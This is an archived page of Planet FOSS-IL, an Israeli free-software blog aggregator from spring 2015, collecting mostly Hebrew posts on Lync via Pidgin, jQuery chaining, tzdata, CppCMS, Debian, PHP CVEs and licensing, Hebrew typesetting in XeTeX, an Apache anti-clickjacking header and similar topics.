פלאנט תוכנה חופשית בישראל (Planet FOSS-IL)

15 April, 2015

Boris Shtrasman

וחייה היונה ביחד עם Lync

בשעה טובה ומצלחת קיבלתי גישה לשירות ה Lync  עבור המשתמש שלי , השירות שלי מסופק ע"י  Office365 ללא אחסון מקומי.

שם המשתמש שלי לחיבור עבור office365 הוא user@myerfm.blogspot.com והסיסמה היא secret.

 אצתי רצתי ליונה (pidgin) התקנתי את SIPE (יאפ על וינדוס) אז  :


לאחר מכן בטאב של מאפיינים מתקדמים יש למלא :

החלק החשוב זה ה UA אצלי עבד עם :
UCCAPI/15.0.4420.1017 OC/15.0.4420.1017 (Microsoft Lync)


מה לא עובד :

ביצוע שיחות קוליות (צד שני לא מקבל התראה על שיחה נכנסת).
העברת קבצים. 

מה כן עבד :
IM
OTR עושה קולות של עובד.
חיפוש והוספת משתמשים מאנשי הקשר ב office365
 

15 April, 2015 06:09 PM

13 April, 2015

Liran Tal

The Drupal Rap song – Everyday I’m Drupalin’

This YouTube video doesn’t need any further explanation beside it’s title: The Drupal Rap song – Everyday I’m Drupalin’

 

 

 

Lyrics:

Chorus
Everyday I’m drupalin

Verse
Where them forms you gettin fapi with I’m the fapi boss/ hookin into edit form and webforms is my specialty sauce/ I’ll hook form alter by form id’s or entities/ put a list on Ajax/ just to keep it callin back/

I got them distrobutions, I’m like acqia/
Check my public repos, I didn’t copy nuttin/ I know dries n webchick, I kno Ryan szrama/ all the commerce guys we hipchat when they got some drama/
Might not be pretty code but it gets me paid/ I’m using rules like php loopin through arrays/ I put it all in features, so the code is stable/ it might take longer, but next time I just click enable/ These dudes clearin caches, on every hook init/ queries by thousands, page loads by the minutes

Verse
No matter the language we compress it hard/ drugs cc all, we just drugs cc all/
Where’s all of the changes, you never saw/ so drush cc all, we just drugs cc all/ I lean heavy on smacss, compass compilin my sass/ you just installed flexslider now you teachin a class/
I seen your content types, I don’t need to kno you/ to know that we ain’t even in the same nodequeue/
I’m on drupal answers, check my reputation/ I’m on my tablet earnin karma while I’m on vacation/ ya girl like a module, she stay hookin n/ you couldn’t code an info file, without lookin in/
Mo scrums, equals better sprints, break the huddle, n the work begins

Thanks to New Valley Media for helping with the video http://www.newvalleymedia.com/
Thanks to Broadstreet Consullting http://www.broadstreetconsulting.net

The post The Drupal Rap song – Everyday I’m Drupalin’ appeared first on Liran Tal's Enginx.

13 April, 2015 05:26 PM

12 April, 2015

ik

פונקציה מונדית

אחד הדברים שאני שומע מהרבה אנשים אשר מתעסקים בתכנות פונקציונאלי הוא שפונקציה מונדית (monad function) היא בערך התשובה לכל מה ש42 לא מצליח לכסות.

אינני שולט או יודע שפה שהיא פונקציונאלית (כלומר נטו פונקציונאלית), אבל מסתבר שאני כן כותב לפעמים ואפילו משתמש בפונקציות מונדיות מבלי לדעת זאת.
ולאחרונה גיליתי מהו בעצם הפירוש למונח "פונקציה מונדית".

הנה קוד ג'אווה סקריפט (מבוסס jQuery) קצר שאסביר אותו עוד מעט:

$('#id').html('<p>success</p>').addClass('success')

הקוד כאן עושה משהו מאוד מעניין.
אני קורא לפונקציה בשם דולר, אשר מחפשת בעצם id מסויים לפי selector ומחזירה אובייקט.
כאשר נמצא ה id, אני קורא למתודה html, אשר מוסיפה לתוכן ה id עוד אלמנט חדש מסוג p.
כאשר המתודה של html מסיימת את הריצה, אני משרשר אליה עוד מתודה בשם addClass, אשר מסיפה בעצם סוג של class המוגדר מראש כתכונה.

סביר להניח כי מי שמתכנת עם jQuery נתקל בגישה הזו, אבל מה בעצם מתרחש כאן?

ובכן יש לי פונקציה או מתודה אשר מחזירה את האובייקט של עצמו, או תת אובייקט.
לצורך הדגמה שמפשטת את העניין, הנה קוד שמבצע הדגמה לרעיון הזה (לא בדקתי אותו באמת):

function init() {
  var self = this;
  return {
     callMe : function() {
       return self;
     }
  };
}

יצרתי פונקציה בשם init.
הפונקציה יוצרת סוג של אובייקט אנונימי אשר מכיל מתודה אחת בשם callMe.
המתודה עצמה מחזירה את ערך המימוש של init.
וכך אם אוסיף עוד מתודות, הן תמיד יחזירו את self, לא משנה מה הן עושות בפועל.

הרעיון לשימוש בקוד יהיה בגישה הבאה:

init().callMe().someOtherMethod() ...

המימוש הזה, הוא מימוש של פונקציות מונדיות.
פונקציה מונדית למעשה יוצרת מצב בו אני לא יודע מה הולך להתבצע הלאה, אבל מקבל גמישות לחזור חזרה לאובייקט ולהמשיך לעבוד עם האובייקט כפי שאני רוצה.

ככה המון קוד בעולם הרובי, ג'אווה סקריפט, ושפות אחרות אשר כמובן גם שפות פונקציונאליות נכתבות.
כולן מבצעות את המימוש הזה של פונקציה מונדית (כפי שזה נכון לשפה עצמה).
עוד מידע מעניין בנושא ניתן למצוא כאן:


תויק תחת:javascript, טכנולוגיה, פיתוח, קוד פתוח, תכנות Tagged: development, monad, monad function, programming, פונקציה מונדית, תכנות

12 April, 2015 07:40 PM

Artyom Beilis

שעון קיץ בישראל ומחשבים

ביום ראשון האחרון, חצי מדינת ישראל התעוררה עם שעונים לא נכונים.

כולנו מוכנים לכוון את השעונים שלנו כשיש מעבר לשעון חורף, בודקים פעמיים יומנים וזמנים, מסתכלים על שעונים וכד'. אבל מה עושים שימים בהם לא התשנה שעון - אלא היה אמור להשתנות השעון - אף אחד לא שם לב.

בזיון. מרבית הפצות לינוקס לא הספיקו לעדכן את tzdata, למשל לא Debian ולא Ubuntu יציבות קיבלו איזורי זמן נכונים (גם בעדכונים אחרונים), העדכון האחרון של Red Hat גם הוא יצא ממש לא מזמן. כמובן גם Windows לא הספיקו להוציא עדכונים - כך שגם אשתי שלא משתמשת בלינוקס התעוררה עם שעון לא תקין במחשב שלה - והוא תמיד מעודכן אצלה עד לדקה האחרונה.

אני כמובן כבר לא מדבר על יישומים שמנהלים את IANA Time Zone Database בעצמם, יישומים זניחים כמו Java או ICU וכד.

אז מה לדבר על טלפונים סלולריים? יש כאלה האשימו בבזיון את חברות הסלולר... אבל נדמה לי שבעיה קצת יותר עמוקה.

עדכון החוק האחרון היה ביולי 2013 - אז האם אפשר להאשים את מאות (אם לא אלפי) האנשים והארגונים האחראים על עדכונים שוטפים שלא הספיקו להפיץ את עדכוני איזור הזמן האחרונים? האם אפשר להאשים מיליוני משתמשים בישראל בכך שלא התקינו את העדכונים האחרונים (אם הם היו בכלל)?

התשובה היא: הבזיון האמתי הוא לא אותם האנשים אלא החקיקה חפוזה שלא באמת מתחשבת בהשלכות. כנראה לא היה מי שהסביר לח"כ היקרים שלנו ששינוי איזור זמן זה לא בדיוק הזזת מחוגים בשעה המתאימה. (או הסבירו אבל אף אחד לא הקשיב או העדיף שינוי פופליסטי)

הטקסט המלא

12 April, 2015 06:46 AM

לשרת את כל אתרי החדשות בארץ בעזרת... CppCMS

אני לא יודע אם שמתם לב, אבל בשנה האחרונה קצב הפיתוח של תשתית CppCMS ירד בצורה ניכרת. ריכזתי את מרבית המאמצים במערכת פרסום מיוחדת הבנויה על תשתית ה־CppCMS שפותח עבור לקוח.

הפרויקט נקרא ליניקום.

היום, כשליניקום כבר פעיל זמן רב ומתוחזק ע"י צוות מורחב, אני אוכל להקדיש יותר זמן לתשתית CppCMS עצמה.

מספר מילים על "ליניקום":

"ליניקום" הוא מנוע שמביא פרסומות תלויות תוכן ומותאמות למשתמש לאתרים שונים בקלות רבה. מרבית אתרי החדשות הגדולים בארץ משתמשים בשירותי ליניקום, ביניהם: ynet, הארץ, מאקו, Jerusalem Post, ואללה ועוד רבים אחרים כולל מספר אתרים גדולים בחו"ל.

להלן כמה עובדות מעניינות:

  • ליניקום מבוססת על טכנולוגית CppCMS
  • המערכת משרתת כ־10,000,000 פניות המותאמות למשתמש ביום - קרי כ־115 פניות בשניה.
  • בשעות העמוסות הקצב מגיע לכ־160 פניות בשניה.
  • השרת מייצר תעבורה יוצאת ממוצעת של כ־11 מגאביט בשניה.
  • צריכת זיכרון הכוללת של המערכת (שרת וואב, בסיס נתונים, יישום, מערכת ההפעלה) הוא בסביבות 360MB
  • העומס הממוצע על המעבדים הוא כ-5%
  • השרת רץ על c1.medium instance בודד ב־Amazon EC2

המערכת רצה מאחורי lighttpd ומשתמשת ב־PosgreSQL לשמירה וניהול הנתונים בצורה אינטנסיבית, עם זאת, מרבית הנתונים הנדרשים בזמן אמת שמורים ומנוהלים בזיכרון.

כמעט כל פניה לשרת דורשת עיבוד נתונים על מנת לספק פרסומות מותאמות אישית, מבחינה טכנית, זה אומר שלא ניתן לעשות "מיקור חוץ" של הפניות האלה לקבצים הסטטיים וכל פניה של כל לקוח צריכה להיות מטופלת בנפרד.

מערכת הפרסום הזו, היא הדוגמה הקלאסית לשימוש בטכנולוגיית CppCMS - מערכת שצריכה להיות מהירה ואפקטיבית. מערכת שמסוגל להתמודד עם עומסים גבוהים ולעתים חריגים ללא בעיות ולספק איכות השירות גבוהה ביותר.

שימוש בנתונים השמורים בזיכרון, ניהול נתונים שלא יכולים להיות שמורים בזיכרון מטמון - זה המקום בו יכולות CppCMS באות לידי ביטוי במלואן. יכולת גדילה גבוהה עם דרישות תחזוקה מינימליות, אמינות גבוהה - האם אלה שמאפשרים לדאוג לצד העסקי בלי לחשוב על בעיות ביצועים אפשריות.

הטקסט המלא

12 April, 2015 06:46 AM

04 April, 2015

Ram on Agmon

קבונטו 1504. הידד והתרשמות

מהיום שבו גנום 3 הפסיק להיראות כמו גנום 2, חיפשתי אלטרנטיבה. די מהר, הגעתי ל-kde. זו היתה אהבה ממבט ראשון. בזכות הקונסול. בסופו של דבר, דרכו אני רואה את הדברים.

אני משתמש באפקטים של המערכת. אפשר לראות מגירסה לגירסה איך הדברים נעשים חלקים יותר ונוחים יותר. גירסה 4.00 היתה בלתי שמישה. גירסה 5 היא מופת של שימושיות ויכולות הגדרה.

יש לי חבר שעובד בלי סביבת עבודה. ישירות על ה- x. הוא אוהב את הקונסול. חבר אחר תיכנת את סביבת העבודה להיות סביבת פיתוח באמצעות שימוש חכם בשולחנות עבודה והמעבר ביניהם. אני אוהב את kde כי היא יפה ונוחה. ויש לה כזה קונסול יפהפה.

אכלתי שיט, עם btrfs ו-systemd ביחד, זה פשוט לא יציב, אולי זה בגלל ה- nvidia שעדיין עושה צרות. שידרגתי את כל האובנטיים שלי, המחשב הנייד של העבודה (כבר חודש הם ביחד) ועל המכונה הוירטואלית במשרד. אנשי חלונות, למה יש להם לצפות? הם כולם היו רוצים חזרה את הממשק של חלונות 2000. אני כל חצי שנה מקבל סביבת עבודה במחשב יותר יפה, מהירה ומגניבה.

ולמה בטא? כי רק כאשר הדברים מתרסקים כל הזמן, לומדים להבין את התפקיד של כל אחד מהם.

הטקסט המלא

04 April, 2015 07:27 PM

31 March, 2015

Shlomi Noach

Speaking at Percona Live: Pseudo GTID and Easy Replication Topology Management

In two weeks time I will be presenting Pseudo GTID and Easy Replication Topology Management at Percona Live. From the time I submitted the proposal a LOT has been developed, experimented, deployed and used with both Pseudo GTID and with orchestrator.

In my talk I will:

I will further show how the orchestrator tooling makes for a less restrictive, more performant, less locking, non-intrusive, trusted and lightweight replication topology management solution.

orchestrator-topology-simple An anonymized topology

 

Please come by my talk!

 

31 March, 2015 03:42 PM

28 March, 2015

Lior Kaplan

תשע שנים כמפתח דביאן

החודש עברו 9 שנים מאז שקיבלתי מעמד פורמלי בדביאן כמפתח (Debian Developer). למרות השם, עיקר הפעילות היא תחזוקת חבילות ולא פיתוח קוד נטו. תהליך הכניסה היה ארוך ומתיש, אך ללא ספק העמיק את ההבנה והיכולות הטכניות שלי. בבלוג הישן שלי יש פוסט "סיום ההסמכה וקבלת הכרה רשמית" שנותן מבט-על על התהליך.

רמת המעורבות שלי בדביאן עולה ויורדת בהתאם לעומס הכללי שלי, אך הדבר הקבוע שכל עיסוק אחר שלי בקוד פתוח, מוצא בסופו של דבר את החיבור שלו לדביאן. לאורך השנים זה היה ליברה אופיס ובזמן האחרון זה PHP בהם הפעילות בפרוייקטים עוזרת לשפר את המצב בדביאן. לפעמים זה דרך קידום באגים שמפריעים למשתמשי ההפצה, פתרון בעיות טכניות של צוות האריזה וכו'. בשני המקרים האלה, יש גם שיתוף פעולה הדוק בכיוון ההפוך, כאשר אורזים את הגרסאות החדשות להפצה וכך עוזרים לבצע בדיקות בהיקף רחב יותר. בבלוג באנגלית יש דוגמה על שיתוף פעולה זה כחלק מתהליך של PHP 5.6.

מעבר לצד הטכני, אני משתדל להגיע לכנסי דביאן לאורך השנים (2005, 2006, 2007, 2011, 2013) כדי לפגוש את הקהילה פנים מול פנים וכדי לפגוש אנשים מפרוייקטי קוד פתוח אחרים שמגיעים לאירוע. בגלל הצד האנושי, אני מוכרח להודות שמפגשים אלה, הגם שכרוכים בהם המון שעות מול המחשב (סוף סוף זמן שקט לקוד פתוח) הם עדיין סוג של חופשה שנתית. להרגשתי, זה גם אחד הדברים ששומרים על הגחלת של המשך הפעילות בפרוייקט – שיש משהו מעבר לצד הטכני נטו.


תויק תחת:Debian GNU/Linux

28 March, 2015 11:07 AM

ik

אנשי DBA

לאחרונה יוצא לי לבצע המון אופטימיזציות למידע, אשר במקור הטבלאות בו לא תוכננו שיהיו בו כל כך הרבה רשומות (יש לזה המון משמעויות מהמון צדדים ובחינות), ויוצא לי לשבת עם הרבה אנשים המתיימרים להיות אנשי DBA, ואפילו כמה שהם באמת כאלו.

הבעיה בשוק שלנו, היא שמרבית האנשים המדווחים כי הם מומחים למשהו, במקרה הזה – DBA, אינם באמת מומחים, וחלקם הגדול גם לא מבינים מעבר לאיזה קורס וקריאה של התעוד הרשמי.
רובם אפילו לא עשו ניסויים על התמודדויות של בעיות כדוגמת מה קורה כאשר באמצע כתיבה התקשורת נופלת, או יש בעיה בדיסק, או איך להתמודד עם כך ש slave לא מצליח לשמור את הנתונים, שלא לדבר על כך שיש journal שנכתב והוא מה שנקרא, והרשימה עוד ארוכה.

אני רחוק מלהיות איש DBA, אך חשוב לי תמיד להבין איך דברים עובדים ולמה, אז אני גם קורא את התיעוד המקורי, אבל גם עושה ניסויים, מפיל דברים וכיוב', וככה לומד דברים.

אבל אותם אנשים המתיימרים להיות אנשי DBA, הם חסרי ניסיון מעבר למה שמתועד, הם לא באמת יודעים דברים מניסיון, או ניואנסים קטנים מאוד שרק מי ש"חי" את המקצוע מקבל אותם.

למשל בכל מסדי הנתונים שאני מכיר, יש בעיה עם Foreign keys. הם נשמעים טוב, אבל מוסיפים סיבוכיות בכך שהם בעצם מתורגמים לעוד פעולת select. את בעיית הביצועים הזו גיליתי לבד, את הסיבה לכך, ובכן איש DBA הסביר לי. אבל הוא באמת מבין המון דברים. הפתרון לכך פשוט, אבל זה לא נושא הפוסט :)

אבל הנה בעיה קשה: מכירים את MySQL ?
אתם יודעים כי הוא לא באמת תומך בפעולות join ?
כן, אני יודע שיש לו תחביר לכך, אבל אני מדבר על מה שמתרחש מאחורי הקלעים בשביל לספק אותם. זה הניואנסים הקטנים שאני מדבר עליהם.
העניין הוא שמסדי נתונים שונים, ואפילו גרסאות שונות של מסד הנתונים שעובדים בו מתנהגים לגמרי שונה.
לפעמים גרסה אחת תכיל המון בעיות שגרסה קודמת או חדשה יותר תפתור, אבל בלי הניואנסים האלו, איך תדעו להתמודד עם הדברים?

ואז אני התחלתי לשאול את עצמי את השאלה, האם אני כאדם המתעסק המון עם מסדי נתונים כמתכנת, מקבל על עצמי אחריות של ללמוד את הכלים וההתנהגות של הדברים, או האם אני חייב להיות תלוי בעוד אדם בנושא, אשר מאוד קשה למצוא והדרך היחידה כאן היא לדעת לפחות ברמה הקיימת האם יש ידע בנושא או לא.

דעותי עדיין חלוקות, ואשמח לשמוע מה לכם יש להגיד בנושא.


תויק תחת:טכנולוגיה, יעוץ, מסדי נתונים, פיתוח, קוד פתוח, תכנות Tagged: databases, dba, sql, sql databases, מסדי נתונים

28 March, 2015 08:47 AM

24 March, 2015

Meir Kriheli

מצב התרגום לעברית של Django 1.8

Django 1.8 נמצא בהקפאת מחרוזות, הגיע הזמן לעדכן את התרגום העברי מאחר ו-django-core עמד על 93%.

לאחר יומיים של עבודה, עומדים על 100%:

נשארו בחוץ עקב חוסר זמן והיקף המשימה:

24 March, 2015 09:03 AM

22 March, 2015

Oz Nahum

New version of Pwman3 released

I finally managed to release a new version of pwman3, the console and network password manager. Read more about it here. ... continue reading...

22 March, 2015 11:16 PM

Simple Multiprocessing Task Queue in Python

Yet another tutorial about Python's multiprocessing. What make this one different? Well, it's based on a real like example and show what is going on behind the sceanes on your Linux host. ... continue reading...

22 March, 2015 11:16 PM

21 March, 2015

Guy Rutenberg

Creating an Hebrew Document in LyX 2.1 with XeTeX

This post complements the basic LaTeX template I gave yesterday for typesetting Hebrew with XeTeX. I’ll walk through the (short) list of steps needed to configure LyX with XeTeX.

Prerequisites

Setting up the document

Create a new document and open the settings dialog (Document -> Settings...).

  1. Pick a suitable Document class. I recommend “KOMA-Script Article” but “Article” works just as fine. Avoid “Hebrew Article”, as it is broken under XeTeX.
  2. Under Fonts check the box next to `Use non-TeX fonts (via XeTeX/LuaTeX) and select suitable fonts:
    • Roman: Frank Ruehl CLM. David CLM is also a good choice with somewhat better italics variant.
    • Sans Serif: Simple CLM.
    • Typewriter: Miriam Mono CLM.
    • There is no need to change the Math font.
  3. Under Language select Hebrew as the document’s language.

That’s basically it. You can now write your document and compile it. I would suggest saving these settings as default (via “Save as Document Defaults”) or saving it as a template so you won’t need to repeat those steps.

Writing in English

To insert English text in your Hebrew document, you need to change the current language. The easiest way to do so is to create a keyboard shortcut for it:

  1. Go to Tools -> Preferences -> Editing -> Shortcuts
  2. Write “language” under “Show key-bindings containing:”.
  3. Select “language” under “Cursor, Mouse and Editing Functions” and click “Modify” to set a keyboard shortcut (F12 is traditionally used for this).

Now you can toggle the current language between English and Hebrew by simply pressing F12.

Remark about Fonts

It is preferable to use fonts that provide both Hebrew and Latin scripts, as otherwise there might be significant style differences which make the document look weird. It is possible to set a different font for Hebrew and Latin, but care needs to be taken to match styles. To do so, add the following lines to the Preamble:

\newfontfamily\hebrewfont[Script=Hebrew]{David CLM}
\newfontfamily\hebrewfonttt[Script=Hebrew]{Miriam Mono CLM}
\newfontfamily\hebrewfontsf[Script=Hebrew]{Simple CLM}

21 March, 2015 08:07 AM

Hebrew with XeTeX Example

This is an example of a document in XeTeX (Actually XeLaTeX). I’ve used The fonts from the Culmus Project. Note that you’ll need Culmus 0.121 or newer in order to get the Frank Ruehl font in TrueType. As you can see, Nikud are placed correctly. The cantillation marks (טעמי המקרא) are in a small offset compared to the ideal position.

Overall, XeTeX works much better with Hebrew (and easier to use) than pdfTeX.

heb-test

\documentclass{minimal}
\usepackage{polyglossia}
\setdefaultlanguage{hebrew}
\setotherlanguage{english}
\usepackage{fontspec}
\setmainfont{Frank Ruehl CLM}
\setmonofont{Miriam Mono CLM}
\setsansfont{Simple CLM}
% Use the following if you only want to change the font for Hebrew
%\newfontfamily\hebrewfont[Script=Hebrew]{David CLM}
%\newfontfamily\hebrewfonttt[Script=Hebrew]{Miriam Mono CLM}
%\newfontfamily\hebrewfontsf[Script=Hebrew]{Simple CLM}
 
 
 
\makeatletter
\makeatother
\usepackage{bidi}
\begin{document}
טקסט רגיל
\textbf{טקסט מודגש}
\textit{טקסט נטוי}
\textit{\textbf{טקסט מודגש ונטוי}}
בְּרֵאשִׁ֖ית בָּרָ֣א אֱלֹהִ֑ים אֵ֥ת הַשָּׁמַ֖יִם וְאֵ֥ת הָאָֽרֶץ:
 
\begin{english}
In the beginning God created the heaven and the earth.
\end{english}
 
\sffamily
טקסט רגיל
\textbf{טקסט מודגש}
\textit{טקסט נטוי}
\textit{\textbf{טקסט מודגש ונטוי}}
בְּרֵאשִׁ֖ית בָּרָ֣א אֱלֹהִ֑ים אֵ֥ת הַשָּׁמַ֖יִם וְאֵ֥ת הָאָֽרֶץ:
 
\begin{english}
In the beginning God created the heaven and the earth.
\end{english}
 
 
\ttfamily
טקסט רגיל
\textbf{טקסט מודגש}
\textit{טקסט נטוי}
\textit{\textbf{טקסט מודגש ונטוי}}
בְּרֵאשִׁ֖ית בָּרָ֣א אֱלֹהִ֑ים אֵ֥ת הַשָּׁמַ֖יִם וְאֵ֥ת הָאָֽרֶץ:
 
\begin{english}
In the beginning God created the heaven and the earth.
\end{english}
\end{document}

21 March, 2015 07:58 AM

19 March, 2015

Lior Kaplan

CVE assignment without upstream knowledge

In the past few months I’ve been dealing with aligning PHP CVE information to enable easier tracking of security fixes. The two main locations are the NEWS file which is part of each release and the changelog available on the website which is more popular (and easier to update).

Usually the CVE are assigned per PHP.net security team request or with cooperation with one of the Linux distribution’s teams (either PHP or security), as should be in a good ecosystem.

Recently I got a few notifications issued by Debian about its PHP package, which I wasn’t familiar with these CVE IDS. When checking this, I found out a few CVE assigned per 3rd party (Linux distribution, bug reporter, etc…) request without upstream knowledge. Digging deeper I found out that some CVE were assigned a month after the fixes were released, while others were only a week or two after. While this makes sure the security information is documented, it’s harder to add the information after tagging and releasing.

In another case, while discussing about a CVE for a specific bug, we found out one was already assigned per the reporter’s request but without the our or the upstream library knowledge. Even if the issue isn’t severe, upstream should get a fair chance to fix issue before making them public. Which also leads to a problem with requesting CVE IDs on a public mailing list which in some cases leads to security information leakage. We should balance transparency with some grace period for upstreams (as projects share code).


Filed under: Debian GNU/Linux, PHP

Full text

19 March, 2015 05:33 PM

16 March, 2015

Liran Tal

Prevent clickjacking on Drupal and other Apache web applications

Security is an important aspect to keep an eye for, and this time it’s about preventing clickjacking on Drupal and other Apache web applications.

Edit apache’s configuration file, which may be your declared vhost or such, usually at a location like /etc/httpd/conf.d/default.conf and make sure the  following

 

<IfModule mod_headers.c>
Header always append X-Frame-Options SAMEORIGIN
</IfModule>

 

This will disable embedding your website as an iFrame.

0013_clickjacking

The post Prevent clickjacking on Drupal and other Apache web applications appeared first on Liran Tal's Enginx.

16 March, 2015 01:23 PM

14 March, 2015

Diego Iastrubni

Atom – חרא של עורך

אטום הוא מתיימר להיות מחליף של sublime אבל הוא חרא בריבוע. איטי… דוגמאות:

  1. הוא לא יכול לפתוח קבצים בגודל 2 מגה ומעלה. קבצי C יכולים להגיע לגדרים כאלו בקלות.
  2. הגלילה שלו לא מהירה מספיק.
  3. התמיכה שלו בכל דבר שהוא לא ווב, היא פשוט דרעק. עריכה של קבצי bash היא … לא טובה.
  4. תפתחו קובץ עם 200 שורות, תבחרו באפשרות Selection -> Split into lines, תלחצו home, ואם התחביר שלכם הוא C, אז חלק מהשורות יהיו בתחילת השורה הלוגית וחלק בעמודה 0. לחיצה פעמיים על home לא תעזור לכם. אחרי 20 פעמים, תהיה exception והעורך לא יעבוד שוב.
  5. התוכנה פשוט מאבדת את הסמן מהר מדי… לא הבנתי איך אבל יותר מדי פעמים אני בפוקוס על החלון ואין לי סמן. רק לחיצה על החלון פותרת את זה.
  6. תפתחו XML עם 500 שורות. סמנו 500 שורות. שוב Selection -> Split into lines עכשיו תנסו לשנות משהו. העורך פשוט איטי בטירוף.

עצוב. מאוד.

הטקסט המלא

14 March, 2015 07:59 PM

13 March, 2015

Lior Kaplan

PHP7 replaces non-free JSON extension

For many the PHP JSON extension license might look like a storm in a teacup, but for many Linux distributions the bits of the free software licenses are very important. That was the case when Debian decided (#692613) to remove the non-free JSON extension as part of the transition to PHP 5.5 in May 2013 (after the Debian 7 release).

This change was done with the help of Remi Collet (from Fedora / Red Hat) who wrote an alternative extension based on JSON-C implementation. A similar change was done by other Linux distributions, and this became the defacto standard for most Linux users.

The situation has recently changed with the acceptance of the Jakub Zelenka’s jsond RFC to replace the current non-free implementation with a free one. The change was committed to the code base on early February (Closing #63520) and expected to be released later this year as part of PHP7.


Filed under: Free software licenses, PHP

Full text

13 March, 2015 09:43 AM

12 March, 2015

David Kaplan

CUPCake: sim.py -> sim.nim

So the (Python3) simulator is slllooowwwww (Kernel running at ~400KHz) and I decided to see whether there was some easy way to rectify the situation. Ultimately I'm simulating a very simple 8-bit RISC-based machine - albeit SPI-transaction-heavy for the display - and 400KHz on my 3GHz Haswell i5 is simply abysmal!

Unrelated to this issue, a few weeks ago I chanced across some discussions extolling and debating the virtues of some 'modern' languages. Having given Go[lang] a 'go' in the past - and disliking the experience immensly - I wondered if there was anything else out there that I could learn as I do enjoy learning new languages from time-to-time. And that's when I came across Nim.

What caught my eye was that is was being sold as a 'Python-like' language in respect to syntax and ease-of-use which generated Native code. Furthermore, its killer feature in my opinion is its ability to evaluate user functions at compile time and optimize accordingly.

To cut a long story short, I decided to re-implement the simulator in Nim, both as a way to learn the language and to see whether it would improve performance.

As a disclaimer: I don't yet know much Nim and my code is rubbish (e.g. I couldn't work out how to get a function-lookup hashtable working so I just went for the good ol' case-statement route for now). I basically just wrote it like i write Python and it mostly worked out okay.

At some point last night, the simulator's Nim-rewrite reached feature-parity (sans command line options) with the Python implementation (as of now depricated).

Kernel test executing on Nim simulator

I'm pretty happy with how this exercise worked out. The results are fantastic! The same kernel code is running on the nim-based (and hence native code) simulator (sim.nim, simdisplay.nim) about a factor of 10X better than the Python one! 3.5-4MHz is more like it! It's still around 10X-20X worse than the hardware should be but good enough for what I'm simulating at the moment. I can potentially eek out some more performance from it by writing code like a normal person and perhaps using an openGL-accelerated surface for the display; but that's an exercise for another time!

Nim is a great language and is a good demonstration of why Python isn't always 'good enough'. Highly recommended.

12 March, 2015 02:01 PM

10 March, 2015

Ram on Agmon

אובנטו חדשה לה לה לה, Ansible btrfs

אני אוהב את התקופה הזו של השנה, מתחילים לראות את קצה החורף, והגיהנום של הקיץ עוד רחוק. כמדי תקופה שכזו, של השנה, אני משדרג לי את האובונטויים ברחבי הבית. תרפיה. תגידו. למרות שגם את המחשב של העבודה שידרגתי. נכון, היא יוצאת רק באפריל, רשמית, אבל זה די חסר משמעות. כי מספר התיקונים שממשיכים להגיע אחרי היעד הרשמי, לא פוחתת בדבר. וגם היציבות לא מובטחת. לכן, זה הכי נכון לשדרג כמה שיותר מוקדם. ככה, לומדים לחיות עם הבעיות.

יש קצת, פה ושם. אבל מי שם לב? יש kde גירסא חדשה. והפעם, הוא ממש, אבל ממש עוד יותר הכל וזה כיף לעבוד במערכת הזו. מגירסא לגירסא, הדברים עובדים יותר טוב. לא ברעש ובצילצולים, אלא אט אט, לאורך השנים. היום הגיע גם systemd שהגיע והותקן באופן חלק על 3 מחשבים, וכל הבוט נראה אחרת.

אני לא חושב שהייתי יכול לעקוב אחרי כל כך הרבה מכונות, אם זו הייתה באמת טירחה. נכון, אפשר לשרוף איזה ערב אחד או שניים על תיקון נזקים. אבל זה חלק מהפאן. בסופו של דבר, המערכות הללו צריכות מעט מאוד תחזוקה. וכשיש צורך, היא פשוטה להפליא.

איך שהוא, אני מוצא את עצמי מוקף ביותר ויותר מחשבים קטנים בבית, שמדברים אחד עם השני ב- ssh ומחוברים כולם אחד לשני, מעבירים מידע בשמחה. זה משרת סרטים, ההוא משרת תמונות, זה מציג על הטלויזיה. זה מציג תמונות.

וזה כל הזמן עובד.

חוץ מזה, יצא לי לשחק עם btrfs שנראית לי מאוד מאוד מרשימה. היא עושה בקלות דברים שהם כמו קסם עבור ניהול מחיצות. זה הסופרן אומן של מערכות הקבצים. כשהיא יציבה. וזה סימן שאלה שכבר עלה לי. ועדיין, מאוד מעניין. מיקרוסופט מאוד משעשעים אותי עם ה- azure שלהם. הגישה שלהם ללינוקס היא כזו מיקרוסופטית, כאילו, כזו עקומה. כאילו, למה המכונה צריכה לזהות cdrom? ואם כן, אז למה להסתיר אותו עם mount?

מאידך גיסה, ansible היא מערכת אורקסטרשיין שכל מי שלו קצת בתחום, חייב להציץ עליה במשך יום או יומיים. הוא כבר ימצא לה שימוש. בגדול, זו מערכת שמאפשרת לנהל ציים של מחשבים. לא אלפים, אבל כמה מאות, אין ממש בעיה לדעתי. גם בעשרות תצורות שונות. היא נוחה לעבודה, היא ניתנת להפצה באמצעות מערכת בקרת קוד (git) כי זה סה"כ אסופה של כמה קבצי טקסט.

אם נשווה את זה ל-chef, אז שם מדובר על בסיס נתונים מכובד, עם מערכת אינדקסים מכובדת לא פחות, וגם מערכת תור, לניהול בקשות. באנסיבל אין כלום. זו תוכנה, תקינים  אותה על המחשב וזה עובד. זה לא צורך שום משאבים, אלא כשזה רץ.

קצב הפיתוח מרשים, כל הזמן יוצאות גריסאות חדשות. היא מאפשרת להגדיר פעולות בצורה מאוד יעילה, ולסדר אותם בהיררכיות דינמיות. כל רכיב יכול להיות בכמה קבוצות. וקבוצות יכולות להיות כללות אחת בתוך השניה. היא מאפשרת הגדרה נוחה של משתנים והגדרות ירושות בין קבוצות לבין שרתים. היא יכולה לבצע את כל ההגדרות/התקנות על כל השרתים, או את חלקן על חלק מהם, עם תלות או ללא תלות בהצלחה. וכל זה, בדרך אינטואטיבית לכל מי שחובב את שורת הפקודה. זה נלמד במהירות, זה קל לתחזוקה. וזה לא אסון לטעות, כי מאוד מאוד קל לתקן.

השאלה היחידה שעולה בראש, זה איך לא חשבו על זה קודם. כי זה כל כך הגיוני, וזה כל כך נכון לבצע את הדברים ככה. אני יושב ועובד עם זה, ושואל את עצמי, איך זה כל כך פשוט? איך הם הצליחו לעשות משהו באופן כה פשוט, בזמן שאחרות עושות את הדבר, אבל מסובך. תוכנה חופשית, אמרתי?

הטקסט המלא

10 March, 2015 08:27 PM

07 March, 2015

Diego Iastrubni

גיבויים באנדאויד

דיברתי בעבר על גיבויים באנדרויד, אבל לא הסברתי לעומק. בפוסט זה אני אסביר טיפה על אודות גיבויים.

סוג ראשון – זמין בכל אנדרויד 4.0 – adb backup

